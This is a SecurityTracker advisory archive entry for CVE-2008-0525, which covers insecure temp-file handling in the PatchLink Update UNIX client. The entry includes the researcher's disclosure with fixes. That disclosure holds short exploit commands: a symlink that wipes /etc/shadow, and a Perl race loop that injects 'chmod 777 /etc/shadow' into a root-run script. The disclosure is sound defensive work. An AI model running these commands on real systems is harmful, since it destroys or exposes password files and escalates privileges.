SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Security)  >   PatchLink Update Vendors:   PatchLink Corporation
PatchLink Update Temporary File Symlink Flaw in logtrimmer Lets Local Users Gain Elevated Privileges
SecurityTracker Alert ID:  1019272
SecurityTracker URL:  http://securitytracker.com/id/1019272
CVE Reference:   CVE-2008-0525   (Links to External Site)
Updated:  Feb 6 2008
Original Entry Date:  Jan 25 2008
Impact:   Modification of system information, Modification of user information, User access via local system
Exploit Included:  Yes  

Description:   Two vulnerabilities were reported in PatchLink Update. A local user can obtain elevated privileges on the target system.

The UNIX client's 'logtrimmer' and 'rebootTask' scripts use temporary files in an unsafe manner. A local user can create a symbolic link (symlink) from a critical file on the target system to a temporary file to be used by PatchLink Update. When the script runs, the symlinked file will be overwritten by the script.

The logtrimmer script uses the 'patchlink.tmp' file and can be exploited to erase the contents of files on the target system.

The rebootTask script uses the '/tmp/plshutdown' file and can be exploit to execute arbitrary code.

Larry W. Cashdollar of Vapid Labs reported this vulnerability.

Impact:   A local user can obtain elevated privileges on the target system.
Solution:   No solution was available at the time of this entry.
Vendor URL:  www.lumension.com/ (Links to External Site)
Cause:   Access control error, State error
Underlying OS:  Linux (Red Hat Enterprise), Linux (SuSE), UNIX (AIX), UNIX (HP/UX), UNIX (macOS/OS X), UNIX (Solaris - SunOS)

Message History:   This archive entry has one or more follow-up message(s) listed below.
Feb 6 2008 (Novell Issues Fix for Novell ZENworks Patch Management) PatchLink Update Temporary File Symlink Flaw in logtrimmer Lets Local Users Gain Elevated Privileges
Novell has issued a fix for Novell ZENworks Patch Management Update Agent.



 Source Message Contents

Subject:  Two vulnerabilities for PatchLink Update Client for Unix.


PatchLink Update Unix Client File clobbering vulnerability

Larry W. Cashdollar

Vapid Labs

1/17/2008

Overview From the vendor:

 the collection, analysis and delivery of patches throughout your enterprise. PatchLink Update significantly decreases the costs involved

http://lumension.com/patch-management.jsp?rpLangCode=1&rpMenuId=118443

Vulnerability

 symlink a non root user can clobber root owned files causing DoS.

Exploit

nobody:/tmp> ln -s /etc/shadow patchlink.tmp

After logs are rotated

/etc/shadow will be size 0, since patchlink.tmp is removed by logtrimmer after the log rotation process has finished.


Fix

Create a subdirectory under /tmp or /var/tmp to work from.

For example adding:

mkdir /var/tmp/plink
chmod 700 /var/tmp/plink
 
Second Vulnerability:


The script rebootTask contains the following lines for HP-UX Shutdown and reboot:

 echo "shutdown -r -y 120" > /tmp/plshutdown
    chmod 500 /tmp/plshutdown
    at now < /tmp/plshutdown

A race condition exists where a local user could symlink /tmp/plshutdown to a file in their home directory and inject malicous code.
 This could be done possibly by continuously writing to the file while waiting for the at command to run.

$ ln -s /tmp/plshutdown /var/tmp/runme

#/bin/perl
while(1){
`echo "chmod 777 /etc/shadow" > /var/tmp/runme`;
}

Also could be fixed by creating a subdirectory to work from under /var/tmp or /tmp.


http://vapid.dhs.org

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2019, SecurityGlobal.net LLC